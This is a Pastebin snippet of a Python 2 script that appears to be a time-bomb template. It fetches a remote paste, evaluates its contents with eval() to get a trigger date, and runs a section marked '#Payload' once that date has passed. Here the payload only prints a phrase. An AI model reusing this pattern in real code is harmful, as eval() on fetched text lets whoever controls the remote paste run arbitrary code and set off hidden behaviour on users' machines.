Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import sys, datetime, urllib2
- url = "http://pastebin.com/raw.php?i=acUN4D1s" #Pastebin link of a tuple
- a_ = eval(urllib2.urlopen(url).read()) #Read whole webpage
- target = datetime.date(a_[0],a_[1],a_[2]) #Convert that tuple to timedelta
- now = datetime.date.today() #Today's date
- var_ = (target-now).days #Calculate time between today and target date
- if var_ > 0: sys.exit(0) #If difference is less than 0, execute, else exit.
- else:
- #Payload
- print 'damn son'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement